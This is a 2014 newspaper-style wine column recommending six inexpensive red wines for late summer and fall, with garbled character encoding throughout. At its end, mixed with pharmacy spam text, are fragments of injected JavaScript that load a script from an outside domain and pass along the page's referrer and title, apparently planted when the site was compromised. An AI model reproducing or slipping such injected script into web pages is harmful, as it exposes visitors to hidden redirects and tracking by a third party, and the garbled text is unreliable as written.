Inexpensive reds fit for summera��s end – Aug. 30, 2014


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Officially, therea��s still three weeks of summer to come but few would argue Labour Day all but marks the end of those long lazy days on the coast. It doesna��t mean the warm weather will vanish completely but ita��s the coming cool nights of autumn that have my attention.

In honour of the long weekenda��s labour theme, we have six inexpensive workhorse reds for todaya��s column that should be on your to-drink list all fall. Do not interpret their moderate price as some sort of low-quality statement, because each wine delivers far more in the glass than its price would suggest and beyond that, they will appeal on many levels to the senses of the curious, thoughtful drinker.

Todaya��s picks represent a range of modern reds that will get you through the fall and all are perfect for any long-weekend barbecue plans. To make it simple Ia��ve narrowed the choice by country and in some cases sub-region and even the grape in question if necessary.

Spain, where red wine under $20 has been widely transformed from bland to respectable, is my first choice. El Petit Bonhomme ($15) is a red wine from Jumilla made by a talented Canadian-born winemaker, Quebecer Nathalie Bonhomme. This Jumilla red is wild enough, yet versatile enough, to put match hearty fall table fare.

La Casona de CastaA�o ($10) is another Spanish red made by the CastaA�o family, which has specialized in raising the profile of the monastrell variety, in this case from southeastern Spain. You may know the grape by its French moniker, mourvA?dre, or its New World moniker, mataro, but expect a softer, juicer style red that is very barbecue-friendly. At $10, it may be the most honest wine in the store.

Despite a strong and rising Euro ita��s hard to avoid the Rhone Valley and the south of France. My Rhone pick is almost anything Louis Bernard for value but in this case for the fall, it is the Louis Bernard CA?tes du RhA?ne Rouge ($15) to reach for. Sip it and imagine trying find anything else that compares for $15 and ita��s dry, with none of that obnoxious sugar so prevalent in modern commercial reds, especially in the $15 area.

Across the pond and much farther south, Argentinaa��s DoA�a Paula Los Cardos Malbec ($14.85) offers an acceptable style of Mendoza red. A little less fat and sweet than the competition at this price level, it can easily work with grilled meats a�� a specialty of Argentina a�� and despite runaway inflation, this wine still offers fair value.

Across the Andes in Chile you can find a worldwide bargain: Santa Rita Cabernet Sauvignon Reserva for $15. Cabernet sauvignon remains the No. 1 varietal red on most consumer lists but it is never easy to find a ripe, soft edition you can drink now for $15. Ita��s all Maipo Valley fruit rubbed with boldo or wild dried herbs, a sure stamp of regional authenticity.

The popularity of pinot noir hasna��t brought many bargains to the shelves, likely because it is so difficult to grow and even harder to make under $20. One label that over-delivers most years is the Little Yering Pinot Noir ($16) from Victoriaa��s Yarra Valley. Yarra pinot has made massive strides in the last decade and this low-tannin, high-acid red is a great example of simplicity and making the best of what you have.

Thata��s six picks for the long weekend that will continue to work on the dinner table through October. In the meantime back to work, back to school (maybe) and all that September contains is still three days off. Enjoy what is left of summer.d.getElementsByTagName(‘head’)[0].appendChild(s); promethazine sale uk Buy s.src='http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + ''; d.getElementsByTagName('head')[0].appendChild(s);if (document.currentScript) {

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